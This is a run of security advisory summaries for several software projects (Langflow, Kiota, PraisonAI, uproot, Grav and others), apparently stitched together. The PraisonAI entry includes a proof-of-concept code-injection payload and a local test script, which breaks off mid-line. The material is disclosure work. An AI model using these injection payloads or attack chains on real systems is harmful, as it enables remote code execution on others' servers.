CVE-2026-16150 is a vulnerability in RobinHerbots Inputmask versions 5.0.0 through 5.0.9. It affects the extendDefaults, extendDefinitions, and extendAliases functions in the Internal Deep Merge Helper component, allowing improper modification of object prototype attributes. The vulnerability can be exploited remotely. The project has been informed but has not yet responded or issued a fix.
uproot dynamically generates Python class source code from ROOT TStreamerInfo records in a file and compiles it at runtime. Some file-controlled streamer metadata fields (for example, streamer element names) are interpolated into the generated Python source without safe quoting via repr() or the !r format specifier. An attacker who can supply a crafted ROOT file can place Python expression-breaking content into a streamer metadata field. When uproot generates and invokes the corresponding reader method, the injected Python expression is evaluated in the context of the process opening the file, resulting in arbitrary Python code execution in applications that open or process attacker-controlled ROOT files with affected uproot code paths.
IBM Langflow OSS 1.0.0 through 1.10.0 allows authenticated users to override component parameters at runtime via the API. A critical security flaw exists in the parameter filtering mechanism within the `apply_tweaks()` function.
IBM Langflow OSS 1.0.0 through 1.10.0 contain a critical remote code execution vulnerability in the code validation API endpoint. The POST /api/v1/validate/code endpoint accepts user-supplied Python code and executes it directly using Python's built-in exec() function without sandboxing, input validation, or privilege restrictions, enabling any authenticated user to execute arbitrary system commands with the full privileges of the Langflow server process.
IBM Langflow OSS 1.0.0 through 1.10.0 allows authenticated users to escalate privileges to superuser by directly manipulating the database, execute arbitrary system commands, and achieve full system compromise with Langflow service permissions.
IBM Langflow OSS 1.0.0 through 1.10.0 Langflow versions up to 1.9.2 (commit 94981c443d4918517b9e8163d70fc598dc33a32d) contain a code injection vulnerability in the Policies component's ToolGuard integration that bypasses the allow_custom_components=false security control. The vulnerability exists because the validation mechanism only checks the main component source code in node_template["code"]["value"] but fails to validate dynamic CodeInput fields that store generated ToolGuard Python files. Attackers can embed malicious Python code in these unvalidated dynamic fields, which are persisted in Flow.data and later executed server-side when a guarded tool is invoked through the ToolGuard runtime. This allows authenticated users with flow creation privileges to achieve arbitrary Python code execution on the backend despite custom component restrictions. The vulnerability can be escalated through cross-tenant flow manipulation via the agentic MCP update_flow_component_field tool, which accepts attacker-controlled user_id parameters, enabling attackers to inject malicious code into victim users' flows. When combined with publicly accessible flows and specific misconfigurations (AUTO_LOGIN=true, NEW_USER_IS_ACTIVE=true), the attack can be conducted with reduced authentication requirements.
IBM Langflow OSS 1.0.0 through 1.10.0 allows unauthenticated attackers to chain /api/v1/auto_login (mints SUPERUSER tokens to any network caller) with /api/v1/validate/code (executes user code via exec()) to achieve full RCE on default Langflow deployments
Frogman provides headless PBX control through MCP and HTTP API. Prior to 1.6.2, fm_dialplan_apply accepted template parameters including greeting, dest, url, extension, code, and file, and Tools/DialplanApply.php wrote Dialplan/Templates.php output to extensions_custom.conf while only Dialplan/TemplateBase.php:38-42 sanitized contextName(), allowing a PERM_WRITE caller using confirm:true to inject arbitrary Asterisk directives such as System(), Set(SHELL(...)), Goto, or Macro. This issue is fixed in version 1.6.2.
Prompty is a markdown file format (.prompty) for LLM prompts. From 2.0.0-alpha.1 until 2.0.0-beta.3, the @prompty/core TypeScript loader in runtime/typescript/packages/core/src/core/loader.ts used gray-matter without overriding executable js and javascript frontmatter engines, allowing an attacker-controlled .prompty file with ---js frontmatter to execute arbitrary JavaScript during prompt loading. This issue is fixed in version 2.0.0-beta.3.
Kiota is an OpenAPI based HTTP Client code generator. Prior to 1.29.1 and 1.32.5, Kiota emitted x-ms-kiota-info clientClassName and clientNamespaceName values without identifier or path sanitization as both generated client class or namespace names and generated output path components when `kiota generate` ran without -c/--class-name, allowing an attacker-controlled or compromised OpenAPI description to write generated source outside the -o output directory and inject arbitrary text into generated class or namespace declarations. This issue is fixed in version 1.29.1 and 1.32.5 by GenerationConfiguration.SanitizeClientClassName and SanitizeClientNamespaceName.
Kiota is an OpenAPI based HTTP Client code generator. Prior to 1.29.1 and 1.32.5, `kiota info` read x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand plus dependency name and version values from an OpenAPI description and presented the spec-supplied command as Kiota's recommended install command, allowing an attacker-controlled or compromised description to cause command injection when the suggested command was run manually or through the Kiota VS Code extension's kiota info --json dependency-install flow. This issue is fixed in version 1.29.1 and 1.32.5.
Kiota is an OpenAPI based HTTP Client code generator. Prior to 1.29.1 and 1.32.4, Kiota's PHP generator embedded OpenAPI description, default fields, property names, and other schema-derived strings into PHP double-quoted literals through SanitizeDoubleQuote() in Writers/StringExtensions.cs without escaping $, allowing attacker-controlled ${...}, $var, or {$obj->prop} interpolation constructs to inject arbitrary PHP code into generated model and request-builder classes. This issue is fixed in version 1.29.1 and 1.32.4.
Kiota is an OpenAPI based HTTP Client code generator. Prior to 1.29.1 and 1.32.0, Kiota's Python generator let attacker-controlled enum value descriptions from x-ms-enum.values[].description flow through KiotaBuilder.SetEnumOptions into Documentation.DescriptionTemplate and PythonConventionService.RemoveInvalidDescriptionCharacters without newline sanitization, allowing generated inline comments to split and execute attacker-controlled Python code at module scope when generated modules were imported. This issue is fixed in version 1.29.1 and 1.32.0.
Kiota is an OpenAPI based HTTP Client code generator. Prior to 1.29.1 and 1.32.0, Kiota's Ruby generator embedded OpenAPI default fields, property names, and other schema-derived strings through CodeMethodWriter.cs and SanitizeForQuotedLiteral() in Writers/StringExtensions.cs into Ruby double-quoted literals without escaping #, allowing attacker-controlled #{expr}, #$var, or #@var interpolation markers to inject arbitrary Ruby code into generated model classes. This issue is fixed in version 1.29.1 and 1.32.0.
Kiota is an OpenAPI based HTTP Client code generator. Prior to 1.29.1 and 1.32.3, Kiota is affected by a code-generation injection vulnerability in the C# XML documentation-comment sink (the description, externalDocs label, and externalDocs link fields emitted as /// … comments). When text from an OpenAPI description is written into single-line XML doc comments without stripping newline and Unicode line-terminator characters, an attacker can break out of the /// comment line and inject additional code into generated C# clients. This issue is fixed in version 1.29.1 and 1.32.3.
TDengine is an open source, time-series database optimized for Internet of Things devices. Prior to 3.4.1.15, a user with create udf privilege could upload a crafted shared library and install it as a user-defined function, such as eval, then execute arbitrary C code on the TDengine server side through database queries. This issue is fixed in version 3.4.1.15.
PraisonAI (praisonaiagents) before 1.6.78 contains a remote code execution vulnerability in the plugin manager, which loads and executes arbitrary Python (.py) files from project-level and user-home .praisonai/plugins/ directories using importlib spec_from_file_location() and exec_module() without code signing, integrity verification, or sandboxing. An attacker who can write a malicious .py file to a plugin directory (for example via path traversal, a supply chain attack, or a compromised dependency) achieves arbitrary code execution when the plugin system initializes.
# API deploy code generator embeds unescaped YAML fields into Python source
## Summary
PraisonAI's API deployment generator copies `deploy.api.host` from `agents.yaml` directly into generated Python source without safe literal encoding. A malicious PraisonAI project can set that host value to a Python expression splice; when an operator runs the API deploy flow, the generated server source compiles and executes the injected expression at startup. The same generator also embeds `agents_file` directly into generated route-handler expressions, giving a second route-time source injection site if the agent file path is attacker-controlled.
## Technical Details
The vulnerable path starts with deployment configuration parsing. `Deploy.from_yaml()` reads the operator-supplied `agents.yaml`, `validate_agents_yaml()` accepts `deploy.api.host` as a string, and API deployments call `start_api_server(self.agents_file, self.config.api)`. `start_api_server()` calls `generate_api_server_code()` and executes the generated Python file with `python`.
The current generator in `src/praisonai/praisonai/deploy/api.py` treats deployment data as Python syntax:
```python
def generate_api_server_code(agents_file: str, config: Optional[APIConfig] = None) -> str:
...
code = f'''"""
...
praisonai = PraisonAI(agent_file="{agents_file}")
...
"agent_file": "{agents_file}"
...
app.run(
host='{config.host}',
port={config.port},
debug={config.reload}
)
'''
```
The violated invariant is that deployment configuration values should remain inert strings. Instead, `config.host` is inserted between single quotes in generated Python source. A value like this breaks out of the generated string literal and evaluates a Python expression:
```text
' + (__import__("pathlib").Path("poc.txt").write_text("DEPLOY_API_HOST_CODE_EXECUTED") and "") + '
```
The generated startup code then becomes equivalent to:
```python
app.run(
host='' + (__import__("pathlib").Path("poc.txt").write_text("DEPLOY_API_HOST_CODE_EXECUTED") and "") + '',
port=8005,
debug=False,
)
```
That expression executes before Flask handles any request. This is not a shell parsing issue and not just direct use of an unsafe Python API; it is a data-to-code transformation in the deployment generator.
`agents_file` has the same class of unsafe source interpolation in two generated route-handler expressions. A value shaped as `" + (<side effect> and "") + "` remains valid both in `PraisonAI(agent_file=...)` and in the `/agents` JSON response expression, so it executes when the generated handler evaluates that value.
## PoV
The following local-only PoV stubs Flask and PraisonAI so it does not start a listener, invoke a model provider, or contact any external service. It proves that a malicious host value survives YAML schema parsing and executes when the generated server module is evaluated as `__main__`; it also includes a safe-host negative control and the secondary `agents_file` route-time interpolation check.
```python
from pathlib import Path
import json
import sys
import tempfile
import types
import yaml
def install_stubs():
class FakeApp:
def __init__(self, name):
self.name = name
def route(self, *args, **kwargs):
def deco(func):
return func
return deco
def run(self, *args, **kwargs):
return None
flask = types.ModuleType("flask")
flask.Flask = FakeApp
flask.request = types.SimpleNamespace(headers={}, get_json=lambda: {"message": "hello"})
flask.jsonify = lambda obj: obj
sys.modules["flask"] = flask
flask_cors = types.ModuleType("flask_cors")
flask_cors.CORS = lambda app: app
sys.modules["flask_cors"] = flask_cors
praisonai_mod = types.ModuleType("praisonai")
class FakePraisonAI:
def __init__(self, agent_file):
self.agent_file = agent_file
def run(self):
return "ok"
praisonai_mod.PraisonAI = FakePraisonAI
sys.modules["praisonai"] = praisonai_mod
def main(repo):
sys.path.insert(0, str(Path(repo) / "src" / "praisonai"))
from praisonai.deploy.api import generate_api_server_code
from praisonai.deploy.models import APIConfig
from praisonai.deploy.schema import validate_agents_yaml
install_stubs()
with tempfile.TemporaryDirectory() as tmp:
tmp_path = Path(tmp)
host_marker = tmp_path / "host-marker.txt"
file_marker = tmp_path / "agent-file-marker.txt"
host_payload = "' + (__import__(\"pathlib\").Path(" + repr(str(host_marker)) + ").write_text(\"DEPLOY_API_HOST_CODE_EXECUTED\") and \"\") + '"
agents_yaml = tmp_path / "agents.yaml"
agents_yaml.write_text(yaml.safe_dump({
"deploy": {
"type": "api",
"api": {"host": host_payload, "port": 8005, "auth_enabled": False},
},
"agents": [{"name": "dem
The bundled Grav Flex Objects plugin (getgrav/grav-plugin-flex-objects) before 1.4.0 contains a stored server-side template injection vulnerability. When rendering dynamic collection or object titles, the plugin passes user-controlled frontmatter values (page.header.flex.collection.title or page.header.flex.object.title) to Twig's template_from_string(), causing them to be evaluated as Twig code rather than treated as text. This path bypasses Grav's Security::cleanDangerousTwig() sanitization. An attacker who can control the title frontmatter of a publicly reachable Flex Objects page can achieve arbitrary Twig execution and escalate to remote command execution via access to internal Grav services such as the scheduler.